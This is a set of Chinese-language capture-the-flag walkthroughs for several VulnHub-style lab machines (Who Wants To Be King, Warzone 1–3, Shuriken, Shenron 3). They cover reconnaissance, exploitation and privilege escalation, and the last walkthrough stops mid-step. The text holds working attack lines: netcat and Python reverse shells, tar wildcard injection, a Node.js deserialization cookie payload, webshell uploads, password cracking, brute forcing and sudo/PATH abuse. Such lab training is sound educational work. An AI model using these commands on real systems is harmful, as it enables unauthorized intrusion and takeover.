WHO WANTS TO BE KING 1

WHO WANTS TO BE KING: 1

一、基本信息

名称:Who Wants To Be King: 1

发布日期:2020.12.1

作者:Bjorn

系列:Who Wants To Be King

推特:@ArmBjorn

二、靶机简介

Flags:

root:/root/nice.txt

难度:简单

三、文件信息

文件名:whowantstobeking.ova

文件大小:2.4GB

下载地址:

MD5: 5B8BDCC5C24A3705C88F969B47A7199B

SHA1: 0114959A45DB91F699594D1476AB900F610681CA

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(ubuntu)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机whowantstobeking和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:

image

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
ifconfig,查看kali分配到的ip

image

1
nmap -sP 192.168.56.0/24,扫描靶机ip

image

2.再进行端口扫描,发现只开放了22和80端口,访问主页,发现skeylogger文件:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.121 | tee nmapscan,端口扫描

image

image

3.最后再进行一下目录扫描,没有什么发现:

1
gobuster dir -u http://192.168.56.121 -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描

image

文件解密,SSH登录

1.将skeylogger文件下载到本地,查看文件属性发现是二进制文件:

1
file skeylogger

image

1
readelf -all skeylogger

image

2.再利用strings命令看看文件中有没有隐藏什么字符串,发现了一串base编码的字符串:

1
strings skeylogger

image

3.将字符串解码,得到dracarys,这个到底是用户名还是密码我们不得而知,于是搜索一下:

1
echo ZHJhY2FyeXMK | base64 -d

image

4.从网络查询我们可知,“Dracarys”来自奇幻作品《冰与火之歌》中高等瓦雷利亚语中的“龙焰”,是“龙之母”丹妮莉丝·坦格利安驾驭巨龙之火时使用的口号。靶机开放了22端口,所以很可能用户名是deanerys:

image

image

初步提权

1.SSH登录后,查看文件权限,有两个程序可以利用:

1
sudo -l

image

2.但在/usr/lib/linuxmint/mintUpdate目录下没有那两个文件:

1
2
cd /usr/lib/linuxmint/mintUpdate
ls -la

image

3.回到~目录下,发现在.local/share目录下有一个daenerys.zip,解压出来的文件是djkdsnkjdsn,我们查看后提示我们note.txt的文件路径:

1
2
3
4
5
cd ~/.local/share
ls -la

unzip daenerys.zip
cat djkdsnkjdsn

image

4.查看note.txt,得到提示,再次网络搜索,得到khaldrogo的全名:

1
cat /usr/share/sounds/note.txt

image

image

Flag获取

1.khaldrogo就是root用户的密码,登录后在/root目录下能够找到flag,即nice.txt:

1
2
3
4
5
su root

cd /root
ls -la
cat nice.txt

image

WARZONE 3

WARZONE: 3

一、基本信息

名称:Warzone: 3

发布日期:2020.11.21

作者:AL1ENUM

系列:Warzone

推特: @AL1ENUM

二、靶机简介

Flags:

anunnaki:/~/underboss.txt
root:/root/boss.txt

难度:困难

三、文件信息

文件名:Warzone3.ova

文件大小:2.5GB

下载地址:

MD5: 3D82AB48E81BB31EE817EAECD8998747

SHA1: 8221A1683E3836903D050BF24E6E6601C72508B0

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(debain)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机warzone3和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:

image

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
ifconfig,查看kali分配到的ip

image

1
nmap -sP 192.168.56.0/24,扫描靶机ip

image

2.再进行端口扫描,发现开放了21,22和4444端口,都是无法网页访问的:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.130 | tee nmapscan,端口扫描

image

FTP匿名登录

1.来到21端口,我们发现ftp服务可匿名登录:

1
2
ftp 192.168.56.130
anonymous

image

2.在/pub目录下我们能发现note.txt及alienclient.jar,全部获取到kali查看一下:

1
2
3
4
5
cd pub
ls -la
get note.txt
get alienclient.jar
quit

image

3.在note.txt中有用户名alienum和密码exogenesis:

1
cat note.txt

image

4.运行alienclient.jar,发现是一个登录器,输入用户密码登录并没有反应:

image

alienclient.jar反编修改

1.我们将alienclient.jar反编译回.java的组成(http://www.javadecompilers.com/),在Starter.java的actionPerformed方法中,判断用户权限时,由于存在本地鉴权问题,在判断用户权限前需添加一句role = “astronaut”;来提升权限:

1
2
3
4
5
if (e.getSource() == this.viewButton)
role = "astronaut"; /*代码修改处*/
if (Starter.role.equals("researcher")) {
JOptionPane.showMessageDialog(this, "Permission Denied");
} else if (role.equals("astronaut")) {

2.继续跟代码,发现reportList是执行代码list.setCmd(“tail -5 “ + f);,于是将它更改为list.setCmd(“nc -e /bin/bash 192.168.56.102 9002”);,并且将所有warzone.local改为靶机ip,重新编译成.jar,在kali开启对应端口监听,输入用户密码执行后,点击view:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public void actionPerformed(final ActionEvent e) {
try {
Starter.this.socket = new Socket("warzone.local", 4444);
Starter.this.os = new ObjectOutputStream(Starter.this.socket.getOutputStream());
final RE list = new RE();
list.setToken(Starter.token);
list.setOption("VIEW");
list.setValue("VALUE");
list.setCmd("nc -e /bin/bash 192.168.56.102 9002"); /*代码修改处*/
Starter.this.os.writeObject(list);
Starter.this.is = new ObjectInputStream(Starter.this.socket.getInputStream());
final RE response = (RE)Starter.this.is.readObject();
Starter.this.os.close();
Starter.this.socket.close();
Starter.this.reportValue(response.getValue());
}

nc -lvnp 9002

image

image

初步提权

1.在exomorph用户目录下能够发现aliens.encrypted和wrz3encryptor.jar,都获取到kali:

1
2
3
4
5
6
cd ~
ls -la
python3 -m http.server 8001,exomorph开放http服务

wget http://192.168.56.130:8001/aliens.encrypted,kali获取
wget http://192.168.56.130:8001/wrz3encryptor.jar

image

image

2.再次对wrz3encryptor.jar进行反编,然后发现是AES的加密,可以写出解密方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public static void decrypt(String key, File inputFile, File outputFile) {
doDeCrypto(2, key, inputFile, outputFile);
}

private static void doDeCrypto(int cipherMode, String key, File inputFile, File outputFile) {
try {
Key secretKey = new SecretKeySpec(key.getBytes(), "AES");
Cipher cipher = Cipher.getInstance("AES");
cipher.init(cipherMode, secretKey);
FileInputStream inputStream = new FileInputStream(inputFile);
byte[] inputBytes = new byte[(int)inputFile.length()];
inputStream.read(inputBytes);
byte[] outputBytes = cipher.doFinal(inputBytes);
FileOutputStream outputStream = new FileOutputStream(outputFile);
outputStream.write(outputBytes);
inputStream.close();
outputStream.close();
} catch (Exception ex) {
ex.printStackTrace();
}
}

3.对aliens.encrypted进行解密后,我们可以发现anunnaki用户及其密码:

image

4.可以通过ssh登录anunnaki用户,在用户目录下获得第一个flag,underboss.txt:

image

root提权

1.在/home/anunnaki目录下还可以发现secpasskeeper.jar.gpg文件,利用gpg解密:

1
gpg -o secpasskeeper.jar -d secpasskeeper.jar.gpg #passphrase为nak1nak1..

image

2.解密后能得到secpasskeeper.jar文件,继续对其反编后,修改main方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class Main {
public static void main(String[] args) throws InvalidKeyException, NoSuchPaddingException, NoSuchAlgorithmException, BadPaddingException, IllegalBlockSizeException, UnsupportedEncodingException {
try {
Scanner in = new Scanner(System.in);
System.out.println("[Warzone 3] Root's Password Manager");
System.out.print("Secret passphrase : ");
String secret = in.nextLine();
Cryptor cryptor = new Cryptor();
Resources res = new Resources();
String user = cryptor.decrypt(secret, removeSalt(res.getCipher()));
String sys = cryptor.decrypt(cryptor.decrypt(res.gotSecret(), removeSalt(res.getSecret())), removeSalt(res.getCipher()));
if (true/*user.equals(sys)*/) { /*代码修改处*/
String plaintext = cryptor.decrypt(cryptor.decrypt(res.gotSecret(), removeSalt(res.getSecret())), removeSalt(res.getCipher()));
System.out.println("[+] Success, the password is : " + plaintext);
} else {
System.out.println("[x] Failed");
}
} catch (NullPointerException n) {
System.out.println("[!] Terminated");
System.exit(0);
}
}

3.随意传递参数输入,可以得到root的密码为ufo_phosXEN,现在可以提权到root,并且在/root目录下发现第二个flag,boss.txt:

1
2
3
4
su root
cd /root
ls -la
cat boss.txt

image

WARZONE 2

WARZONE: 2

一、基本信息

名称:Warzone: 2

发布日期:2020.11.9

作者:AL1ENUM

系列:Warzone

推特: @AL1ENUM

二、靶机简介

Flags:

admiral:/~/Desktop/silver.txt
root:/root/Desktop/gold.txt

难度:中等

三、文件信息

文件名:Warzone2.ova

文件大小:2.6GB

下载地址:

MD5: FF639B25FB64A049E094FC20F51B732C

SHA1: E5B5CADF476129CC365EDF58C5855497B97F1AA5

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(debain)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机warzone2和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:

image

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
>ifconfig,查看kali分配到的ip

image

1
>nmap -sP 192.168.56.0/24,扫描靶机ip

image

2.再进行端口扫描,发现开放了21,22和1337端口,都是无法网页访问的:

1
>nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.129 | tee nmapscan,端口扫描

image

FTP匿名登录

1.来到21端口,我们发现ftp服务可匿名登录:

1
2
ftp 192.168.56.129
anonymous

image

2.在/anon目录下我们能发现username.PNG,password.PNG及token.PNG,全部获取到kali查看一下:

1
2
3
4
5
6
cd anon
ls -la
get username.PNG
get password.PNG
get token.PNG
quit

image

image

image

image

3.在网络上查询旗语的指代,可以得到用户名为semaphore,密码为signalperson,然后进行sha256加密再转hex后得到token为833ad488464de1a27d512f104b639258e77901f14eab706163063d34054a7b26,可以远程链接1337端口:

1
nc 192.168.56.129 1337

image

4.可以在kali开启对应的端口监听,获取shell:

1
2
3
nc -e /bin/bash 192.168.56.102 1234,靶机返回shell

nc -lvnp 1234,kali开启监听

image

初步提权

1.在/flagman目录下我们能发现一个warzone2-socket-server目录,在其中的.mysshpassword文件可以发现flagman的ssh登录密码,可以登录到flagman:

image

image

2.在flagman用户下利用sudo -l命令能发现admiral用户能够执行wrz2-app.py,而flagman无权读写该文件:

image

3.运行wrz2-app.py发现程序在5000端口起了一个flask,并且开启了debug和输出了pin码:

1
sudo -u admiral /usr/bin/python3 /home/admiral/warzone2-app/wrz2-app.py

image

4.那么我们就要尝试在debug中获取反弹shell,获取用户admiral权限。由于监听在地址127.0.0.1,这里使用socat做了一个端口转发:

1
2
3
socat TCP4-LISTEN:15000,reuseaddr,fork TCP4:127.0.0.1:5000

sudo -u admiral /usr/bin/python3 /home/admiral/warzone2-app/wrz2-app.py,再开启一个窗口链接flagman执行wrz2-app.py

image

5.访问192.168.56.129:15000/console,输入wrz2-app.py生成的PIN,构造shell,在kali开启对应端口监听,成功反弹:

1
2
3
4
import os
os.system('nc -e /bin/bash 192.168.56.102 9002')

nc -lvnp 9002

image

image

6.在/home/admiral/Desktop目录下,我们能获得第一个flag,silver.txt:

1
2
3
cd ~/Desktop
ls -la
cat silver.txt

image

root提权

1.再通过sudo -l命令,可以看到less可以执行特权命令:

1
sudo -l

image

2.那我们可以直接使用less进行提权:

1
2
sudo -u root /usr/bin/less /var/public/warzone-rules.txt
:!id,在warzone-rules.txt编辑页输入

image

image

3.成功提权到root,并可以在/root/Desktop下发现第二个flag,gold.txt:

1
2
sudo -u root /usr/bin/less /var/public/warzone-rules.txt
cat /root/Desktop/gold.txt

image

WARZONE 1

WARZONE: 1

一、基本信息

名称:Warzone: 1

发布日期:2020.10.24

作者:AL1ENUM

系列:Warzone

推特: @AL1ENUM

二、靶机简介

Flags:

captain:/~/Desktop/user.txt
root:/root/Desktop/root.txt

难度:中等

三、文件信息

文件名:Warzone.ova

文件大小:2.2GB

下载地址:

MD5: 98FC0985C32A2380A0AFBF24222C22D5

SHA1: 0FB9DBC8D8516B462C4E1C8735D41B01D57F2B35

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(debain)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机warzone1和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:

image

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
>ifconfig,查看kali分配到的ip

image

1
>nmap -sP 192.168.56.0/24,扫描靶机ip

image

2.再进行端口扫描,发现开放了21,22和5000端口,访问5000端口,发现栅栏密码:

1
>nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.128 | tee nmapscan,端口扫描

image

image

3.最后再进行一下目录扫描,没有太多值得关注的信息:

1
>gobuster dir -u http://192.168.56.128:5000 -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描

image

页面信息获取

1.栅栏密码的原文应该是Its a warzone,加密后变成Iwotaaznsre,将源码中的字串解密(http://www.atoolbox.net/Tool.php?Id=777)得到路径:

image

2.访问页面路径,得到8个用户及对应密码加密,加密字段无法用base64直接解开:

image

FTP匿名登录

1.来到21端口,我们发现ftp服务可匿名登录:

1
2
ftp 192.168.56.128
anonymous

image

2.在/pub目录下我们能发现note.txt,提示我们密码都是用warzone-encrypt.jar进行加密的:

1
2
3
4
5
6
cd pub
ls -la
get note.txt
get warzone-encrypt.jar
quit
cat note.txt

image

image

jar加密算法反解

1.查看warzone-encrypt.jar,发现是用AES对密码进行加密的,这样的话我们依加密算法写出解密算法即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
Main.java

package encrypt;

import java.util.Base64;
import java.util.Scanner;
import Other.Obfuscated;
import crypto.AES;

public class Main {
public static String decrypt(String encryptpasswd) {
Obfuscated obs = new Obfuscated();
AES ea = new AES(obs.getIV(), 128, obs.getKey());
try {
ea.cipher.init(2, ea.key, ea.iv);
byte[] encryptbytes = Base64.getDecoder().decode(encryptpasswd);
byte[] decryptbytes = ea.cipher.doFinal(encryptbytes);
return new String(decryptbytes);
} catch (Exception ex) {
throw new RuntimeException(ex.getMessage());
}
}

public static void main(String[] args) {
while (true) {
Scanner in = new Scanner(System.in);
System.out.print("enter the encryptpassword to decrypt : ");
String encryptpassword = in.nextLine();
System.out.println("password : " + decrypt(encryptpassword));
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
AES.java

package crypto;

import Other.Obfuscated;
import java.security.Key;
import java.security.MessageDigest;
import java.util.Base64;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;

public class AES {
public static final IvParameterSpec DEFAULT_IV = new IvParameterSpec(new byte[19]);
public static final String ALGORITHM = "AES";
public static final String TRANSFORMATION = "AES/CBC/PKCS5Padding";
public Key key;
public IvParameterSpec iv;
public Cipher cipher;
public AES(String key) {
this(key, 128);
}

public AES(String key, int bit) {
this(key, bit, null);
}

public AES(String key, int bit, String iv) {
if (bit == 256) {
this.key = new SecretKeySpec(getHash("SHA-256", key), "AES");
} else {
this.key = new SecretKeySpec(getHash("MD5", key), "AES");
}
if (iv != null) {
this.iv = new IvParameterSpec(getHash("MD5", iv));
} else {
this.iv = DEFAULT_IV;
}
init();
}

public static byte[] getHash(String algorithm, String text) {
try {
return getHash(algorithm, text.getBytes("UTF-8"));
} catch (Exception ex) {
throw new RuntimeException(ex.getMessage());
}
}

public static byte[] getHash(String algorithm, byte[] data) {
try {
MessageDigest digest = MessageDigest.getInstance(algorithm);
digest.update(data);
return digest.digest();
} catch (Exception ex) {
throw new RuntimeException(ex.getMessage());
}
}

public void init() {
try {
this.cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
} catch (Exception ex) {
throw new RuntimeException(ex.getMessage());
}
}

public String encrypt(String str) {
try {
return encrypt(str.getBytes("UTF-8"));
} catch (Exception ex) {
throw new RuntimeException(ex.getMessage());
}
}

public String encrypt(byte[] data) {
try {
this.cipher.init(1, this.key, this.iv);
byte[] encryptData = this.cipher.doFinal(data);
return new String(Base64.getEncoder().encode(encryptData));
} catch (Exception ex) {
throw new RuntimeException(ex.getMessage());
}
}

public static String encryptString(String content) {
Obfuscated obs = new Obfuscated();
AES ea = new AES(obs.getIV(), 128, obs.getKey());
return ea.encrypt(content);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
Obfuscated.java
package Other;

public class Obfuscated {
public String getIV() {
return "w4rz0n3s3cur31vv";
}

public String getKey() {
return "w4rz0n3s3cur3k3y";
}
}

2.将用户和加密后密码输入得到对应的用户及解密密码字典,利用hydra进行ssh爆破:

1
hydra -L user.dic -P pass.dic ssh://192.168.56.128

image

初步提权

1.ssh登录commando用户,查看历史:

1
2
3
ssh commando@192.168.56.128

cat .bash_history

image

2.可以发现/home/captain/Desktop目录下有user.txt,但我们无权查看:

1
2
3
cd /home/captain/Desktop
ls -la
cat user.txt

image

3.在/.crypt目录下能发现readme.txt,readme.txt提醒密码就在这里,还有一段加密程序encrypt.py和.c:

1
2
3
cd .crypt
ls -la
cat readme.txt

image

4.查看encrypt.py,.c和script.sh,我们能够知道script.sh是将参数输入encrypt.py后由encrypt.py加密生成.c中的字串,我们可以写一个解密程序,将captain用户的密码解密出来:

1
2
3
cat encrypt.py
cat .c
cat script.sh

image

1
2
3
4
5
6
7
8
9
10
11
pip3 install simple-crypt

#!/usr/bin/python3
from simplecrypt import encrypt, decrypt
import os
import base64

key = 'sekret'
text = base64.b64decode('c2MAAk1Y/hAsEsn+FasElyXvGSI0JxD+n/SCtXbHNM+1/YEU54DO0EQRDfD3wz/lrbkXEBJJJd1ylXZpi/2dopaklmG6NCAXfGKl1eWAUNU1Iw==')
passwd = decrypt(key, text)
print(passwd)

image

5.登录到captain用户,可以查看第一个flag,user.txt:

1
2
cd ..
cat user.txt

image

root提权

1.通过sudo -l命令,可以看到jjs(jjs是让javascript可以调用java)可以执行特权命令:

1
sudo -l

image

2.那我们可以写一个java的shell提权利用js去调用再使用jjs去执行:

1
echo "Java.type('java.lang.Runtime').getRuntime().exec('/usr/bin/nc -e /bin/bash 192.168.56.102 1234')"|sudo jjs

image

3.成功提权到root,并可以在/root/Desktop下发现第二个flag,root.txt:

1
2
3
cd /root/Desktop
ls -la
cat root.txt

image

Shuriken Node

SHURIKEN: NODE

一、基本信息

名称:Shuriken: Node

发布日期:2020.12.13

作者:TheCyb3rW0lf

系列:Shuriken

二、靶机简介

Flags:

serv-adm:/~/user.txt
root:/root/root.txt

难度:困难

三、文件信息

文件名:Shuriken_Node.ova

文件大小:2.5GB

下载地址:

MD5: 5EEFC9733F218D3EB5E96CA231204BAC

SHA1: BE48EB2CE8B9FAA6C016BAE4776869F873F6B2B9

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(ubuntu)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机shuriken_node和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.56.0/24,扫描靶机ip

image-

2.再进行端口扫描,发现只开放了22和8080端口,访问8080,查看源码没有什么线索:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.125 | tee nmapscan,端口扫描

image-

image-

3.最后再进行一下目录扫描,也没有过多线索:

1
gobuster dir -u http://192.168.56.125:8080 -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描

image-

Node.js漏洞利用

1.根据主页提示,我们需要关注Node.js相关的问题,在exploit-db查询node.js相关的漏洞(https://www.exploit-db.com/exploits/41289):

image-

2.根据漏洞文档描述,我们在https://github.com/ajinabraham/Node.Js-Security-Course/blob/master/nodejsshell.py下能够找到利用程序,在kali上获取一下:

1
wget https://raw.githubusercontent.com/ajinabraham/Node.Js-Security-Course/master/nodejsshell.py

image-

3.利用nodejsshell.py生成设定的ip和端口的shellcode,根据漏洞文档描述,要将shellcode加载后进行base64编码:

1
python nodejsshell.py 192.168.56.102 9002

image-

4.利用漏洞文档提供的加载器,再在https://gchq.github.io/CyberChef/上进行base64转换后,kali监听对应端口,把payload注入到cookie中:

1
{"rce":"_$$ND_FUNC$$_function ()}()"},加载器

image-

image-

image-

SSH免密登录,初步提权

1.注入cookie后,我们就获得了shell,利用python构建交互式shell:

image-

2.查看文件权限,发现/var/backups目录下有ssh-backup.zip文件,解压后得到一个id_rsa:

1
2
3
cd ~
ls -la /var/backups
unzip ssh-backup.zip

image-

3.我们在/home目录下能够再发现serv-adm用户,这个密钥很可能就是该用户的:

1
2
cd /home
ls -la

image-

4.id_rsa是一个加密了的密钥,我们把它复制到kali,利用ssh2john进行解密后ssh登录serv-adm:

1
2
3
vim id_rsa.enc
/usr/share/john/ssh2john.py id_rsa.enc > id_rsa.hash
john --wordlist=rockyou.txt id_rsa.hash

image-

1
2
3
4
openssl rsa -in id_rsa.enc -out id_rsa,pasword是刚才john解出的密码
chmod 600 id_rsa

ssh serv-adm@192.168.56.125 -i id_rsa

image-

root提权

1.在ser-adm用户目录下,能够发现第一个flag,user.txt:

1
2
3
cd ~
ls -la
cat user.txt

image-

2.利用sudo -l命令查看文件权限,发现有定时文件:

1
2
3
cd ~
ls -la
cat user.txt

image-

3.我们查看一下shuriken-auto.timer,发现他定时执行shuriken-job.service,我们可以修改job为我们需要的提权程序:

1
2
3
cd /etc/systemd/system
ls -la
cat shuriken-auto.timer

image-

1
nano shuriken-job.service

image-

Flag获取

1.现在我们能重启一下时间器,获得用于提权的bashroot,执行触发获得root权限:

1
2
3
sudo systemctl stop shuriken-auto.timer
sudo systemctl start shuriken-auto.timer
/tmp/bashroot -p

image-

2.在/root目录下能够发现第二个flag,root.txt:

1
2
3
cd /root
ls -la
cat root.txt

image-

Shuriken 1

SHURIKEN: 1

一、基本信息

名称:Shuriken: 1

发布日期:2020.11.13

作者:TheCyb3rW0lf

系列:Shuriken

二、靶机简介

Flags:

server-management:/~/user.txt
root:/root/root.txt

难度:中等

三、文件信息

文件名:Shuriken-1.ova

文件大小:2.7GB

下载地址:

MD5: 2DB75B09A1DD917FFE1DF20B4450D032

SHA1: 602F049006AFE12632A1B6FEB6E4860008C96D32

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(ubuntu)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机shuriken和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.56.0/24,扫描靶机ip

image-

2.再进行端口扫描,发现只开放了80和8080端口,访问主页,查看源代码sha384字串无法解码:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.124 | tee nmapscan,端口扫描

image-

image-

3.最后再进行一下目录扫描,发现/sercet目录比较可疑:

1
gobuster dir -u http://192.168.56.124 -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描

image-

ClipBucket页登录

1.访问/secret目录,发现一张secret.png图片,对图片进行信息隐藏分析后没有额外结果:

image-

image-

2.于是根据图片提示去主页查看js代码,发现两个指向:

image-

image-

3.修改kali的/etc/hosts文件,访问http://broadcast.shuriken.local,发现需要用户名和密码:

1
vim /etc/hosts

image-

image-

4.再次修改/etc/hosts,通过http://shuriken.local/index.php?referer=请求可以得到apache默认配置文件/etc/apache2/sites-enabled/000-default.conf,该文件指明用户文件位置为/etc/apach2/.htpasswd:

1
vim /etc/hosts

image-

image-

5.继续读取/etc/apach2/.htpasswd,可以得到用户名和密码的字串,利用hashcat结合rockyou字典破解密码:

image-

1
2
echo '$apr1$ntOz2ERF$Sd6FT8YVTValWjL7bJv0P0' > hash.txt
hashcat -m 1600 -a 0 hash.txt rockyou.txt

image-

ClipBucket漏洞利用

1.再次修改/etc/hosts,回到http://broadcast.shuriken.local,登录后发现是ClipBucket的页面,可以在exploit-db上找到相关的漏洞利用(https://www.exploit-db.com/exploits/44250):

image-

image-

2.构造payload后,对kali自带的webshell,/usr/share/webshells/php/php-reverse-shell.php进行修改,在kali开启对应端口监听,访问http://broadcast.shuriken.local/actions/CB_BEATS_UPLOAD_DIR/1630302014b9d72e.php后成功获得shell,再用python构建交互式shell:

1
vim /usr/share/webshells/php/php-reverse-shell.php

image-

1
2
nc -lvnp 9001
curl --basic --user "developers:9972761drmfsls" -F "file=@php-reverse-shell.php" -F "plupload=1" -F "name=anyname.php" http://broadcast.shuriken.local/actions/beats_uploader.php

image-

image-

image-

初步提权

1.利用sudo -l命令查看权限,发现可以执行npm,那么创建一个用于提权的json文件,利用npm提权:

1
sudo -l

image-

1
2
3
cd /tmp
echo '{"scripts":{"dev":"/bin/bash"}}' > package.json
sudo -u server-management npm run dev

image-

2.成功提权到server-management后,可以在用户目录下发现第一个flag,user.txt:

1
2
3
cd ~
ls -la
cat user.txt

image-

root提权

1.查看crontab,我们发现有一个backupsrv.sh每隔两分钟执行一次,我们可以查看下程序内容:

1
cat /etc/crontab

image-

1
cat /var/opt/backupsrv.sh

image-

2.查看程序后,我们知道它打开/home/server-management/Documents目录并使用通配符(*) tar 参数创建它的备份,这种结构容易受到通配符注入的影响:

1
2
3
4
cd Documents
echo "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.56.102\",9002));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" > shell.sh,先写一个shell
echo "" > "--checkpoint-action=exec=sh shell.sh",为shell创建触发
echo "" > --checkpoint=1

image-

3.在kali开启对应端口监听,等待两分钟后程序定时执行得到shell为root权限:

1
nc -lvnp 9002

image-

4.获得root权限后,在/root目录下能够发现第二个flag,root.txt:

1
2
3
cd /root
ls -la
cat root.txt

image-

Shenron 3

Shenron:3

一、基本信息

名称:shenron:3

发布日期:2021.4.16

作者:Shubham mandloi

系列:shenron

推特:@shubhammandloi

二、靶机简介

Flags:

root:/root/root.txt

难度:简单

三、文件信息

文件名:shenron-3.ova

文件大小:1.3GB

下载地址:

MD5: 2C70DA66904D9820BF065D2EACB08419

SHA1: 8FB172649FFB6F44F2C81D8468B3B609D8E37E19

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(ubuntu)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机shenron3和攻击机kali2021在VirtualBox下设置为桥接模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.3.134:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.3.134/24,扫描靶机ip

image-

2.再进行端口扫描,发现只开放80端口,访问主页查看源码,没有太多线索:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.3.137 | tee nmapscan,端口扫描

image-

image-

3.最后再进行一下目录扫描,发现目录基本与wordpress有关:

1
gobuster dir -u http://192.168.3.137/ -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描

image-

Wordpress漏洞利用

1.先把解析写入host,然后访问主页,发现是wordpress搭建的页面,可以用wpscan尝试寻找下漏洞:

1
vim /etc/hosts

image-

image-

1
wpscan --url http://192.168.3.137 --plugins-detection aggressive

image-

2.没有直接的漏洞发现,访问后台登录页面,发现存在admin用户,我们可以直接使用wpscan对后台登录页爆破(需要rockyou.txt字典):

image-

1
wpscan --url http://shenron --passwords rockyou.txt --usernames admin

image-

Wordpress后台登录,写入webshell

1.使用账号和密码登录wordpress后台,可以在Appearance-Editor-404.php页写入webshell:

image-

2.修改kali自带的webshell,/usr/share/webshells/php/php-reverse-shell.php,覆盖404.php,update file,kali开启对应端口监听,通过访问不存在页触发webshell:

image-

image-

image-

image-

初步提权

1.查看/var/www/html目录下文件,在wp-config.php中能发现wordpress用户及数据库密码,但是进入数据库后并没有什么额外发现:

image-

2.尝试提权到shenron,发现登录密码不是Wordpress@123,而是之前爆出的iloverockyou:

image-

root提权

1.在/home/shenron目录下,我们查看文件权限,发现network的属主和属组都是root:

image-

2.利用pspy64s工具,我们查看network运行后的调用,发现回调用netstat,则我们可以新建一个netstat文件,进行提权操作:

1
2
3
4
5
python3 -m http.server 8001,kali开启http服务
wget http://192.168.3.134:8001/pspy64s,shenron获取pspy64s工具
chmod +x pspy64s
./network
./pspy64s

image-

image-

1
2
3
4
5
6
cd /tmp
echo "/bin/bash -p" > netstat
chmod +x netstat
export PATH=/tmp:$PATH
